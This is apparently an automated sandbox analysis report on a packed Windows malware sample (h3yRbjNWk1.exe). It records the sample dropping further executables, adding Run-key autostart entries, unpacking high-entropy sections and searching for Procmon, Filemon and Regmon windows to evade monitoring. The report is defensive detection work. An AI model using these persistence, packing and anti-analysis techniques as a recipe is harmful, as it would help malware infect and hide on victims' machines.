Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: h3yRbjNWk1.exe

Static file information: File size 1866752 > 1048576

Source: h3yRbjNWk1.exe

Static PE information: Raw size of mjkoefrk is bigger than: 0x100000 < 0x196000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Unpacked PE file: 0.2.h3yRbjNWk1.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mjkoefrk:EW;ikspwnpi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Unpacked PE file: 7.2.ea2c7beae0.exe.b30000.0.unpack :EW;.rsrc :W;.idata :W;lfmcaccf:EW;srlszley:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;lfmcaccf:EW;srlszley:EW;.taggant:EW;
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Unpacked PE file: 8.2.6a8d4317d4.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nsvghvat:EW;rciruuiw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nsvghvat:EW;rciruuiw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Unpacked PE file: 12.2.4af6eb3e1f.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vnhbgiry:EW;hdcovdvs:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Unpacked PE file: 14.2.6a8d4317d4.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nsvghvat:EW;rciruuiw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nsvghvat:EW;rciruuiw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Unpacked PE file: 16.2.ea2c7beae0.exe.b30000.0.unpack :EW;.rsrc :W;.idata :W;lfmcaccf:EW;srlszley:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;lfmcaccf:EW;srlszley:EW;.taggant:EW;
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Unpacked PE file: 17.2.6a8d4317d4.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nsvghvat:EW;rciruuiw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nsvghvat:EW;rciruuiw:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 6a8d4317d4.exe.6.dr	Static PE information: real checksum: 0x1d976d should be: 0x1d4104
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2dc1a9 should be: 0x2db2ec
Source: num.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: real checksum: 0x1d976d should be: 0x1d4104
Source: h3yRbjNWk1.exe	Static PE information: real checksum: 0x1ce593 should be: 0x1d487a
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1b2d2b should be: 0x1ab3a2
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: real checksum: 0x1ce593 should be: 0x1d487a
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1ce593 should be: 0x1d487a
Source: ea2c7beae0.exe.6.dr	Static PE information: real checksum: 0x2dc1a9 should be: 0x2db2ec
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d976d should be: 0x1d4104
Source: num[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 4af6eb3e1f.exe.6.dr	Static PE information: real checksum: 0x1b2d2b should be: 0x1ab3a2

Source: h3yRbjNWk1.exe	Static PE information: section name:
Source: h3yRbjNWk1.exe	Static PE information: section name: .idata
Source: h3yRbjNWk1.exe	Static PE information: section name:
Source: h3yRbjNWk1.exe	Static PE information: section name: mjkoefrk
Source: h3yRbjNWk1.exe	Static PE information: section name: ikspwnpi
Source: h3yRbjNWk1.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: mjkoefrk
Source: skotes.exe.0.dr	Static PE information: section name: ikspwnpi
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: lfmcaccf
Source: random[1].exe.6.dr	Static PE information: section name: srlszley
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: ea2c7beae0.exe.6.dr	Static PE information: section name:
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: .rsrc
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: .idata
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: lfmcaccf
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: srlszley
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: nsvghvat
Source: random[1].exe0.6.dr	Static PE information: section name: rciruuiw
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name:
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: .rsrc
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: .idata
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name:
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: nsvghvat
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: rciruuiw
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: vnhbgiry
Source: random[1].exe1.6.dr	Static PE information: section name: hdcovdvs
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name:
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: .idata
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name:
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: vnhbgiry
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: hdcovdvs
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: .taggant
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name:
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: .rsrc
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: .idata
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name:
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: nsvghvat
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: rciruuiw
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: .taggant
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name:
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: .idata
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name:
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: mjkoefrk
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: ikspwnpi
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A6D91C push ecx; ret	6_2_00A6D92F
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A56A78 push 000000A5h; iretd	11_3_00A56A82
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A56A78 push 000000A5h; iretd	11_3_00A56A82
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A56A78 push 000000A5h; iretd	11_3_00A56A82
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49348 push ebp; ret	11_3_00A49349
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49348 push ebp; ret	11_3_00A49349
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49348 push ebp; ret	11_3_00A49349
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A56A78 push 000000A5h; iretd	11_3_00A56A82
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A56A78 push 000000A5h; iretd	11_3_00A56A82
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A56A78 push 000000A5h; iretd	11_3_00A56A82
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49348 push ebp; ret	11_3_00A49349
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49348 push ebp; ret	11_3_00A49349
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49348 push ebp; ret	11_3_00A49349
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A4E521 push eax; retf	11_3_00A4E53D
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 11_3_00A49500 pushfd ; ret	11_3_00A49501

Source: h3yRbjNWk1.exe	Static PE information: section name: entropy: 7.978806357998039
Source: h3yRbjNWk1.exe	Static PE information: section name: mjkoefrk entropy: 7.953119223352716
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.978806357998039
Source: skotes.exe.0.dr	Static PE information: section name: mjkoefrk entropy: 7.953119223352716
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.972434411391327
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: entropy: 7.972434411391327
Source: random[1].exe0.6.dr	Static PE information: section name: nsvghvat entropy: 7.953578874486692
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: nsvghvat entropy: 7.953578874486692
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.8017228103971235
Source: random[1].exe1.6.dr	Static PE information: section name: vnhbgiry entropy: 7.952943091917195
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: entropy: 7.8017228103971235
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: vnhbgiry entropy: 7.952943091917195
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: nsvghvat entropy: 7.953578874486692
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: entropy: 7.978806357998039
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: mjkoefrk entropy: 7.953119223352716

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\1000350002\6a8d4317d4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File created: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File created: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	Jump to dropped file
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File created: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6a8d4317d4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea2c7beae0.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
